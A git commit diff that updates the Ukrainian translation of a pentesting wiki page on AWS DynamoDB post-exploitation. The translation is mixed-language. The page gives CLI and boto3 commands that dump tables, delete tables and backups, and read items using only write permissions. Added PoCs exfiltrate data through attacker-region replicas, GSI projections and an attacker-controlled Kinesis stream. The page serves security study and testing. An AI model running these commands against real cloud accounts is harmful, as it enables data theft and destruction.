mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+273
-39
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
Для отримання додаткової інформації див.:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Зловмисник з цими правами зможе **отримувати елементи з таблиць за первинним ключем** (ви не можете просто запитати всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (ви можете отримати це, отримавши метадані таблиці (`describe-table`).
|
||||
Зловмисник з цими дозволами зможе **отримувати записи з таблиць за первинним ключем** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна отримати, отримавши метадані таблиці (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
|
||||
**Можливий вплив:** Непряме privesc шляхом знаходження чутливої інформації в таблиці
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису для отримання:
|
||||
**Подібно до попередніх дозволів**, цей дозвіл дозволяє потенційному зловмиснику читати значення лише з однієї таблиці, маючи первинний ключ запису, який потрібно отримати:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
З цими дозволами також можливо використовувати метод **`transact-get-items`** так:
|
||||
З цим дозволом також можна використовувати метод **`transact-get-items`**, наприклад:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
|
||||
**Potential Impact:** Непряме privesc шляхом знаходження чутливої інформації в таблиці
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису, який потрібно отримати. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, яке дозволено з первинним ключем (який повинен з'являтися), це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті.
|
||||
**Similar to the previous permissions** ця дозволяє потенційному нападнику читати значення лише з однієї таблиці за умови наявності первинного ключа запису, який потрібно отримати. Вона дозволяє використовувати [піднабір порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який має бути вказаний), — "EQ", тому ви не можете використати порівняння, щоб отримати всю DB в одному запиті.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
|
||||
**Потенційний вплив:** Косвене privesc шляхом знаходження чутливої інформації у таблиці
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Ви можете використовувати цей дозвіл, щоб **легко вивантажити всю таблицю**.
|
||||
Ви можете використати цей дозвіл, щоб **легко dump всю таблицю**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
|
||||
**Потенційний вплив:** Непряме privesc шляхом знаходження чутливої інформації в таблиці
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Ви можете використовувати цей дозвіл, щоб **легко вивантажити всю таблицю**.
|
||||
Ви можете використати цей дозвіл, щоб **легко dump всю таблицю**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Ця дозволяє виконувати `batch-execute-statement`, наприклад:
|
||||
Цей дозвіл також дозволяє виконувати `batch-execute-statement`, наприклад:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
але вам потрібно вказати первинний ключ з значенням, тому це не так корисно.
|
||||
але потрібно вказати primary key зі значенням, тому це не дуже корисно.
|
||||
|
||||
**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
|
||||
**Potential Impact:** Непрямий privesc шляхом знаходження чутливої інформації в таблиці
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Ця дозволена дія дозволить зловмиснику **експортувати всю таблицю в S3 бакет** на його вибір:
|
||||
Цей дозвіл дозволяє зловмиснику **експортувати всю таблицю в S3 bucket за своїм вибором:**
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Зверніть увагу, що для цього таблиця повинна мати увімкнене відновлення на момент часу, ви можете перевірити, чи має таблиця цю функцію за допомогою:
|
||||
Зверніть увагу, що для цього таблиця має мати увімкнений point-in-time-recovery — ви можете перевірити це за допомогою:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Якщо це не увімкнено, вам потрібно **увімкнути це**, і для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**:
|
||||
Якщо він не ввімкнений, вам потрібно буде **увімкнути його**, і для цього потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
|
||||
**Потенційний вплив:** Опосередкований privesc шляхом виявлення конфіденційної інформації в таблиці
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
З цими дозволами зловмисник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, з необхідними дозволами, він зможе перевірити **інформацію** з резервних копій, яка **може більше не бути в продуктивній** таблиці.
|
||||
Маючи ці дозволи, зловмисник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, при наявності необхідних дозволів, він зможе переглянути **інформацію** з резервних копій, я**кої більше немає в продукційній** таблиці.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в резервній копії таблиці
|
||||
**Можливий вплив:** Опосередкований privesc шляхом знаходження чутливої інформації у резервній копії таблиці
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або замінювати існуючий елемент** новим елементом. Якщо елемент з таким же первинним ключем вже існує, **весь елемент буде замінено** новим елементом. Якщо первинний ключ не існує, буде **створено** новий елемент з вказаним первинним ключем.
|
||||
Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або заміняти існуючий елемент** на новий. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** на новий. Якщо первинний ключ не існує, буде **створено** новий елемент із вказаним первинним ключем.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB
|
||||
**Potential Impact:** Експлуатація подальших vulnerabilities/bypasses через можливість додавати/змінювати дані в таблиці DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Цей дозвіл дозволяє користувачам **модифікувати існуючі атрибути елемента або додавати нові атрибути до елемента**. Він **не замінює** весь елемент; він лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем і встановить атрибути, вказані в виразі оновлення.
|
||||
Цей дозвіл дозволяє користувачам **змінювати наявні атрибути елемента або додавати нові атрибути до елемента**. Він **не замінює** весь елемент; оновлюються лише вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з зазначеним первинним ключем і встановить атрибути, вказані у виразі оновлення.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,62 +242,296 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB
|
||||
**Potential Impact:** Експлуатація подальних vulnerabilities/bypasses завдяки можливості додавати/змінювати дані в таблиці DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Зловмисник з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**.
|
||||
Атакуючий з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Потенційний вплив**: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці.
|
||||
**Потенційний вплив**: Втрата даних та порушення роботи служб, які залежать від видаленої таблиці.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Зловмисник з цим дозволом може **видалити резервну копію DynamoDB, що потенційно призведе до втрати даних у разі сценарію відновлення після катастрофи**.
|
||||
Зловмисник з цим дозволом може **delete a DynamoDB backup, потенційно спричиняючи втрату даних у разі сценарію відновлення після аварії**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Потенційний вплив**: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після катастрофи.
|
||||
**Potential impact**: Втрата даних та неможливість відновлення з резервної копії під час сценарію disaster recovery.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Перевірити, чи це дійсно працює
|
||||
> TODO: Перевірити, чи це насправді працює
|
||||
|
||||
Зловмисник з цими дозволами може **увімкнути потік на таблиці DynamoDB, оновити таблицю для початку потокового зміни даних, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі**. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних.
|
||||
Зловмисник із такими дозволами може **увімкнути stream на таблиці DynamoDB, оновити таблицю, щоб почати транслювання змін, а потім отримати доступ до stream для відстеження змін таблиці в режимі реального часу**. Це дозволяє зловмиснику моніторити та exfiltrate зміни даних, що потенційно може призвести до data leakage.
|
||||
|
||||
1. Увімкніть потік на таблиці DynamoDB:
|
||||
1. Увімкнути stream на таблиці DynamoDB:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Опишіть потік для отримання ARN та інших деталей:
|
||||
2. Опишіть потік, щоб отримати ARN та інші деталі:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Отримайте ітератор шард за допомогою ARN потоку:
|
||||
3. Отримайте shard iterator за допомогою stream ARN:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Використовуйте ітератор шард для доступу та ексфільтрації даних з потоку:
|
||||
4. Використайте shard iterator для доступу й експфільтрації даних зі stream:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Потенційний вплив**: Моніторинг в реальному часі та витік даних про зміни таблиці DynamoDB.
|
||||
**Можливий вплив**: Моніторинг змін таблиці DynamoDB у реальному часі та витік даних.
|
||||
|
||||
### Читання елементів через `dynamodb:UpdateItem` та `ReturnValues=ALL_OLD`
|
||||
|
||||
Зловмисник, який має лише `dynamodb:UpdateItem` для таблиці, може читати елементи без звичних дозволів на читання (`GetItem`/`Query`/`Scan`), виконавши нешкідливе оновлення і вказавши `--return-values ALL_OLD`. DynamoDB поверне повний попередній образ елемента в полі `Attributes` відповіді (це не споживає RCUs).
|
||||
|
||||
- Мінімальні дозволи: `dynamodb:UpdateItem` на цільовій таблиці/ключі.
|
||||
- Попередні умови: Ви повинні знати первинний ключ елемента.
|
||||
|
||||
Приклад (додає нешкідливий атрибут і exfiltrates попередній елемент у відповіді):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Відповідь CLI включатиме блок `Attributes`, що містить повний попередній елемент (усі атрибути), фактично забезпечуючи примітив читання при доступі лише на запис.
|
||||
|
||||
**Potential Impact:** Читання довільних елементів таблиці, маючи лише права на запис, що дозволяє exfiltration конфіденційних даних, якщо відомі первинні ключі.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Stealth exfiltration шляхом додавання нового replica Region до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати regional replica, вся таблиця буде реплікована до attacker-chosen Region, звідки attacker може прочитати всі елементи.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Права доступу: `dynamodb:UpdateTable` (з `replica-updates`) або `dynamodb:CreateTableReplica` для цільової таблиці. Якщо CMK використовується в репліці, можуть знадобитися дозволи KMS для цього ключа.
|
||||
|
||||
Потенційний вплив: Повномасштабна реплікація таблиці в Region, контрольований атакуючим, що призводить до stealthy data exfiltration.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Зловмисник із правами transactional write може вивести повні атрибути наявного елемента, виконавши `Update` всередині `TransactWriteItems`, який навмисно провалює `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. У разі відмови DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ тільки для запису на доступ для читання по цільових ключах.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Potential Impact: Читання довільних елементів (за primary key) з таблиці, використовуючи лише транзакційні привілеї запису через повернуті причини скасування.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановіть цей атрибут у постійне значення для всіх елементів, а потім виконайте `Query` по індексу, щоб отримати повні елементи. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, за умови що ви можете виконати запит до ARN індексу.
|
||||
|
||||
- Мінімальні права:
|
||||
- `dynamodb:UpdateTable` на цільовій таблиці (щоб створити GSI з `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` на ключах цільової таблиці (щоб встановити індексований атрибут для кожного елемента).
|
||||
- `dynamodb:Query` для ARN ресурсу індексу (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Кроки (PoC у us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potential Impact:** Full table exfiltration шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли base table read APIs заборонено.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Зловживання DynamoDB Kinesis streaming destinations для постійної exfiltration змін із таблиці в attacker-controlled Kinesis Data Stream. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до потоку без потреби у правах читання на таблицю.
|
||||
|
||||
Мінімальні дозволи (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` на цільовій таблиці
|
||||
- Опційно `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` щоб відстежувати статус
|
||||
- Права читання на attacker-owned Kinesis stream для споживання записів: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Потенційний вплив:** Безперервне, майже в режимі реального часу exfiltration змін таблиці до Kinesis stream, контрольованого атакуючим, без прямих операцій читання таблиці.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user